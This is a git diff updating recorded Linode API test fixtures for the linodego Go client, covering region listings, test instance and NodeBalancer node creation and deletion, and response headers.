"capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -197,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:26 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -218,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-c08d2bk1r16p","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-65m96z3v4ulg","root_pass":"z88NUG2z..y8\\\u003c?kF;20S=cZ!N37y\u003c34@AipaM8Zn~tRG2c(''`2pX/3xlP6M9Vr#","image":"linode/debian9","firewall_id":501400,"booted":false}' form: {} headers: Accept: @@ -239,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 49708278, "label": "go-test-ins-c08d2bk1r16p", "group": "", "status": + body: '{"id": 59542213, "label": "go-test-ins-65m96z3v4ulg", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.4.138"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.62.195"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "6eb83ed887a5cd4920fbeb92ba8047f660ef74f4", "has_user_data": false}' + "4ecff3e7ba293f448d05aad89062f4677f5065a3", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -260,15 +335,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "741" + - "766" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:27 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -281,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -299,12 +381,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/49708278/ips + url: https://api.linode.com/v4beta/linode/instances/59542213/ips method: POST response: - body: '{"address": "192.168.159.108", "gateway": null, "subnet_mask": "255.255.128.0", - "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 49708278, - "region": "ap-west"}' + body: '{"address": "192.168.141.24", "gateway": null, "subnet_mask": "255.255.128.0", + "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 59542213, + "region": "ap-west", "vpc_nat_1_1": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -317,15 +399,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "184" + - "204" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:27 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -338,16 +424,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"address":"192.168.159.108:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' + body: '{"address":"192.168.141.24:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: @@ -356,12 +445,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441124/configs/670342/nodes + url: https://api.linode.com/v4beta/nodebalancers/694188/configs/1134762/nodes method: POST response: - body: '{"id": 516206637, "address": "192.168.159.108:8080", "label": "go-node-test-def", - "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 670342, "nodebalancer_id": - 441124}' + body: '{"id": 2047158851, "address": "192.168.141.24:8080", "label": "go-node-test-def", + "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1134762, "nodebalancer_id": + 694188}' headers: Access-Control-Allow-Credentials: - "true" @@ -374,15 +463,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "182" + - "183" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:27 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -395,9 +488,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -413,12 +509,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441124/configs/670342/nodes + url: https://api.linode.com/v4beta/nodebalancers/694188/configs/1134762/nodes method: GET response: - body: '{"data": [{"id": 516206637, "address": "192.168.159.108:8080", "label": + body: '{"data": [{"id": 2047158851, "address": "192.168.141.24:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": - 670342, "nodebalancer_id": 441124}], "page": 1, "pages": 1, "results": 1}' + 1134762, "nodebalancer_id": 694188}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -431,16 +527,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "231" + - "232" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:27 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -454,9 +553,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -472,7 +574,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441124/configs/670342/nodes/516206637 + url: https://api.linode.com/v4beta/nodebalancers/694188/configs/1134762/nodes/2047158851 method: DELETE response: body: '{}' @@ -488,15 +590,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:27 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -509,9 +615,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -527,7 +636,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/49708278 + url: https://api.linode.com/v4beta/linode/instances/59542213 method: DELETE response: body: '{}' @@ -543,15 +652,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -564,9 +677,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancerStats_Get.yaml b/test/integration/fixtures/TestNodeBalancerStats_Get.yaml index 7be9c213f..75e3d68a4 100644 --- a/test/integration/fixtures/TestNodeBalancerStats_Get.yaml +++ b/test/integration/fixtures/TestNodeBalancerStats_Get.yaml @@ -1,67 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 228222, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -76,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": 